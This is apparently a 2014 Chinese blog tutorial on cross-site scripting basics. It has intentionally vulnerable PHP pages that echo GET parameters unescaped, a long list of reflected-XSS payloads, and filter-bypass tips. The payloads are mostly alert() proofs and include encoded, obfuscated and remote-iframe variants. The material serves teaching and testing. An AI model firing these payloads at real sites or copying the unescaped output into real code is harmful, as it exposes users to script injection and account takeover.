[xss学习]xss基础内容之抛砖引玉篇

标签： XSS-跨站 | 发表时间：2014-01-03 12:23 | 作者：神刀

出处：http://www.shellsec.com

1、最基本的xss漏洞成因

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>xss one test</title>
</head>
<body>
my name is <?php echo $_GET["name"]?>
make by www.jjsec.com
</body>
</html>
<!–

XSS测试代码：

xss.php?name=<script>alert(“xss”)</script>
xss.php?name=<img src=1 onerror=alert(“xss”);>
xss.php?name=<script>~’u0061′ ;  u0074u0068u0072u006Fu0077 ~ u0074u0068u0069u0073.  u0061u006Cu0065u0072u0074(~’u0063′)</script>
xss.php?name=<script>prompt(-[])</script>
xss.php?name=<script firefox>alert(1)</script>
xss.php?name=<SCRIPT>+alert(“2″)</SCRIPT>
xss.php?name=<script>alert(String.fromCharCode(49))</script>
xss.php?name=<script>alert(/7/.source)</script>
xss.php?name=<script>setTimeout(‘alert(8)’,0)</script>
xss.php?name=<button/onclick=alert(9) >KCF</button>
xss.php?name=<a href=javascript:confirm(11)>asd</a>
xss.php?name=<a onmouseover=(alert(12))>KCF</a>
xss.php?name=<svg xmlns=”http://www.w3.org/2000/svg”> <a xmlns:xlink=”http://www.w3.org/1999/xlink” xlink:href=”javascript:alert(14)”><rect width=”1000″ height=”1000″ fill=”white”/></a> </svg>
xss.php?name=<p/onmouseover=javascript:alert(15); >KCF</p>
xss.php?name=<img src=x onerror=alert(16)>
xss.php?name=<img src=x onerror=window.open(‘http://127.0.0.1′);>
xss.php?name=<img src=”x:kcf” onerror=”alert(20)”>
xss.php?name=<body/onload=alert(21)>
xss.php?name=<body onscroll=alert(22)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
xss.php?name=<body oninput=alert(23)><input autofocus>
xss.php?name=<var onmouseover=”prompt(24)”>KCF</var>
xss.php?name=<div/onmouseover=’alert(25)’>X
xss.php?name=<iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;29&Tab;%29></iframe>
xss.php?name=<iframe SRC=”http://0x.lv/xss.swf”></iframe>
xss.php?name=<IFRAME SRC=”javascript:alert(27);”></IFRAME>
xss.php?name=<meta http-equiv=”refresh” content=”0;javascript&colon;alert(28)”/>?
xss.php?name=<meta http-equiv=”refresh” content=”0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E”>
xss.php?name=<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
xss.php?name=<marquee  onstart=”alert(’31′)”></marquee>
xss.php?name=<video src=x onerror=alert(48)>
xss.php?name=<audio src=x onerror=alert(47)>
xss.php?name=<video><source onerror=”alert(46)”>
xss.php?name=<math href=”javascript:javascript:alert(45)”>CLICKME</math>
xss.php?name=<svg onload=”javascript:alert(43)” xmlns=”http://www.w3.org/2000/svg”></svg>
xss.php?name=<embed src=javascript:alert(42)>
xss.php?name=<embed src=”data:text/html;base64,PHNjcmlwdD5hbGVydCg0MSk8L3NjcmlwdD4=”></embed>
xss.php?name=<keygen onfocus=javascript:alert(38) autofocus>
xss.php?name=<textarea onfocus=javascript:alert(37) autofocus>
xss.php?name=<select onfocus=javascript:alert(36) autofocus>
xss.php?name=<input onblur=javascript:alert(35) autofocus><input autofocus>
xss.php?name=<input onfocus=javascript:alert(34) autofocus>
xss.php?name=<isindex action=javascript:alert(33) type=image>
xss.php?name=<isindex type=image src=1 onerror=alert(32)>

2、输出在script标签内的情况

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″/>
<title>xss twe test</title>
</head>
<body>
当我们控制的变量获取的内容在script标签内的时候</br></br>
<?php echo “<script> “.$_GET["call"].”()</script>”?></br>
</body>
</html>
<!–

利用：xss.php?call=aaaaaaa</script><script>alert(1)</script><script>alert(2) 3、输出的结果在html属性内的情况下

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″/>
<title>xss three test</title>
</head>
<body>
当我们控制的变量获取的内容在html标签内的时候</br></br>
<input type=”text” value=”<?php echo $_GET["word"]?>” />
</body>
</html>

测试代码： xss.php?word=90欢迎您” onclick=”alert(1)说明：这种类型是输出会出现在HTML标签的属性之中。例如： <input value=”输出”> 、 <img onload=”…[输出]…”> ，再比如 <body style=”…[输出]…”> 等等在HTML属性中，会自动对实体字符进行转义。一个简单的比方。

<img src=”1″ onerror=”alert(1)”>

和

<img src=”1″ onerror=”alert&#x28;1&#x29;”>

是等效的上面这个特性可以让我们在<script></script>都被过滤的情况下，利用注意：上面的情况是在输入未过滤双引号的情况下成功的在” —- " 的情况下怎么利用？前提是没有过滤（反斜线），在css里允许使用转义字符, + ascii16进制形式如果他过滤了expression，我们也可以轻松的用expr65ssion绕过。但是有个弊端，就是这个情况只能在ie6和ie7下触发，受众面窄上面这个文章仅仅作为抛砖引玉，其中的情况是最简单的，请各位构造比较复杂点的利用环境，大家共同学习！

The post [xss学习]xss基础内容之抛砖引玉篇 appeared first on 神刀网.